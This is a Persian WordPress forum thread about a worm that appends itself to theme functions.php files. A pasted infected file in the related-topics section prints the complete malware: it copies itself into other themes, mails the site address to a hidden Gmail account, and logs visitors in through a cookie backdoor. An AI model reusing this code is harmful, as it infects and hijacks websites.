021

مشکل با اضافه شدن خودکار کدها در فایل functions.php

7 پست در این موضوع قرار دارد

سلام

وقتی پوسته وردپرس رو در حالتی که دیباگ فعاله انتخاب میکنم با اخطارهای زیر روبرو میشم :

11.jpg

البته قبلش فایل فاکنشن رو چک کردم چیزی به جز کدهایی که خودم بهش اضافه کرده بودم نبود ولی بعد از فعال کردن پوسته کدهای زیر به آخر فایل فانکشن به صورت اتوماتیک اضافه شد ... :

ggg.jpg

میخوام بدونم باید چیکار کنم که این کدها اتوماتیک به فانکشن اضافه نشن ...

ممنون

0

به اشتراک گذاری این پست


لینک به پست

این کدها رو وردپرس اضافه میکنه

میتونید حذف کنید

و همچنین برای تکرار نشدن این مسئله permission نوشتن را از فایل بگیرید

3

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

ممنون آقا پارسا . راستش من میخوام قالبو بدم به یه نفر دیگه ... میخوام وقتی قالبو فعال میکنه این کدها اضافه نشن .. آیا میشه توی خود پوسته از کدی استفاده کرد که این کدها اتوماتیک لود نشن ؟؟

یه سوال دیگه هم داشتم :

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه ؟

ویرایش شده در توسط 021
0

به اشتراک گذاری این پست


لینک به پست

سلام

این کدها Worm هستند:


<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
.
.
.
.
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

فایل functions.php شما دارای این Worm هست و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه و همچنین برای فایل functions.php دیگر پوسته ها این سطح دسترسی را نیز حتماً رعایت کنید.

3

به اشتراک گذاری این پست


لینک به پست

درست شد ممنون آقای حسینی ,

یه سوال دیگه هم داشتم:

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه؟

یعنی ممکنه از کپی و پیس کردن تگها باشه ؟

0

به اشتراک گذاری این پست


لینک به پست

یه سوال دیگه هم داشتم :

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه ؟

وجود تابع فوتر:


<?php wp_footer(); ?>

قبل از بسته شدن تگ های body و html و تابع هدر :


<?php wp_head(); ?>

قبل از بسته شدن تگ head را چک کنید.

4

به اشتراک گذاری این پست


لینک به پست

سلام

این کدها Worm هستند:


<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
.
.
.
.
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

فایل functions.php شما دارای این Worm هست و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه و همچنین برای فایل functions.php دیگر پوسته ها این سطح دسترسی را نیز حتماً رعایت کنید.

دوست عزیز از پاسخ بسیار دقیق و راهنمایی شما بسیار بسیار سپاسگزارم

راستش من هم دچار این مشکل بودم و اصلا نمی تونستم جلوی تکثیر این worm رو بگیرم و با راهنمایی شما این کار انجام شد

فقط می خوام بدونم آیا این کرم فایلهای دیگر رو هم دستکاری می کنه یا نه فقط فایل فانکشن رو تغییر میده؟؟؟؟؟

یه سوال دیگه هم اینکه این مشکل رو ریشه ای چطور می تونم حل کنم؟؟ یعنی خود worm رو پاکسازی کنم تا بعدا دوباره مشکلی ایجاد نشه؟؟؟؟

خیلی ممنون

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط unid_user
      سلام دوستان
      من یه لودر با css ساختم میخواستم روی وب سایتم تست کنم. چطوری باید اینکار و انحام بدم که تا بالا اومدن سایت لودر کار کنه؟
      اصلا میسه کاری کنیم که عمدا سایت بعد از نمایش لودر بالا بیاد؟
      ممنون و سپاسگذار
    • توسط masoudmosleh267
      سلام دوستان. من یه سایتی رو از بکاپ گرفتم و از یه هاست و دامنه به یه هاست و دامنه جدید انتقال دادم. حالا چه سایت رو که باز میکنم چه وارد پیشخوان وردپرس میشم یه ارور میاد یکی از خطلی functions.php قالب رو نشون میده.
      Parse error: syntax error, unexpected 'class' (T_CLASS), expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in /public_html/wp-content/themes/khadamator/functions.php on line 1132
      مشکل چیه؟
    • توسط hassannak
      با سلام خدمت اساتید 
      من امروز وردپرس را به روز رسانی کردم ولی با ارور در فایل functions قالب مواجه شدم 
      از اساتید اگه کسی میتونه کمکم کنه درستش کنم 
       این ارور را میده 
      Fatal error: Uncaught Error: Call to undefined function ereg_replace() in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php:918 Stack trace: #0 /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php(75): propanel_siteoptions_machine(Array) #1 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(286): propanel_siteoptions_options_page('') #2 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array) #3 /home/bobocom/mp3old.ir/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home/bobocom/mp3old.ir/wp-admin/admin.php(224): do_action('appearance_page...') #5 /home/bobocom/mp3old.ir/wp-admin/themes.php(10): require_once('/home/bobocom/m...') #6 {main} thrown in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php on line 918  
       
      اینم کد فانکشن قالب 
      <?php function src_simple_recent_comments($src_count=4, $src_length=60, $pre_HTML='', $post_HTML='') { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $src_count"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; $output .= "\n<ul>"; foreach ($comments as $comment) { $output .= "\n\t<li><strong><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID . "\" title=\"on " . $comment->post_title . "\">" . $comment->comment_author . "</a></strong>: " . strip_tags($comment->com_excerpt) . "...</li>"; } $output .= "\n</ul>"; $output .= $post_HTML; echo $output; } include_once('metabox.php'); function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Views'; } function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } function download_button($atts, $content = null) { extract( shortcode_atts( array( 'url' => '#' ), $atts ) ); return '<a href="'.$url.'" class="download-button"><i class="fa fa-cloud-download"></i><span>' . do_shortcode($content) . '</span></a>'; } add_shortcode('download', 'download_button'); function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = "/images/default.jpg"; } return $first_img; } function html5_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > <label for="s">' . __('') . '</label> <input type="search" placeholder="'.__("کلیدواژه خود را وارد کنید سپس اینتر را بزنید ...").'" value="' . get_search_query() . '" name="s" id="s" /> </form>'; return $form; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار چپ', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار راست', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); function register_my_menus() { register_nav_menus( array( 'primary' => __( 'فهرست میانی' ), 'top' => __( 'فهرست بالای هدر' ) ) ); } add_action( 'init', 'register_my_menus' ); class Menu_With_Description extends Walker_Nav_Menu { function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="' . esc_attr( $class_names ) . '"'; $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>'; $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : ''; $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : ''; $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : ''; $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : ''; $item_output = $args->before; $item_output .= '<a'. $attributes .'>'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '<br /><span class="sub">' . $item->description . '</span>'; $item_output .= '</a>'; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } if ( ! function_exists( 'wptools_pagination' ) ) : function wptools_pagination() { global $wp_query; $big = 999999999; echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'prev_next' => True, 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $wp_query->max_num_pages ) ); } endif; ?> <?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>  
    • توسط ahmad4u
      متاسفانه موقع استفاده از برخی افزونه های وردپرس مشکل علامت سوال (�)  در بین اعداد آن بوجود میاید
      در سایتها هم اشاره شده که مشکل بخاطر ترجمه فایل فارسی وردپرس هست و فایلی زبان فارسی که آنها در سایت قرار دادند آپلود بشه در وردپرس مشکل حل میشه
      و مشکل هم حل میشه اما یک مشکل دیگه بوجود میاد و اون اینکه چون این فایل زبان فارسی قدیمی و مربوط به نسخه های قبلی وردپرس هست بعضی جاهای سایت همچنان ترجمه نشده نمایش داده میشود
      حالا از دوستان میخواستم سوال کنم چه مشکلی در فایل ترجمه فارسی هست که خودم اونو برای نسخه های جدید وردپرس حل کنم؟؟
    • توسط hassannak
      با سلام دوستان 
      امروز روی داشبورد وردپرسم پیام اومد که نسخه php هاست باید ارتقاع پیدا کنه تا دو تا از نرم افزار ها کار کنن . منم نسخه را از 5.5  به نسخه 7 ارتقاع دادم . ولی تو فایل فانکشن قالب یه پیغام خطا میده از دوستان خواهشمندم کسی اگه میتونه کمکم کنه ..
       
      پیغام خطا :
       

      Warning: Cannot modify header information - headers already sent by (output started at /home/bobocom/mp3old.ir/wp-content/themes/Novindownload/functions.php:135) in /home/bobocom/mp3old.ir/wp-admin/includes/misc.php on line 1114
       
       
      Warning: Declaration of Menu_With_Description::start_el(&$output, $item, $depth, $args) should be compatible with Walker_Nav_Menu::start_el(&$output, $item, $depth = 0, $args = Array, $id = 0) in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload/functions.php on line 135
       
      کد فانکشن قالب :
      <?php function src_simple_recent_comments($src_count=4, $src_length=60, $pre_HTML='', $post_HTML='') { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $src_count"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; $output .= "\n<ul>"; foreach ($comments as $comment) { $output .= "\n\t<li><strong><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID . "\" title=\"on " . $comment->post_title . "\">" . $comment->comment_author . "</a></strong>: " . strip_tags($comment->com_excerpt) . "...</li>"; } $output .= "\n</ul>"; $output .= $post_HTML; echo $output; } include_once('metabox.php'); function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Views'; } function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ 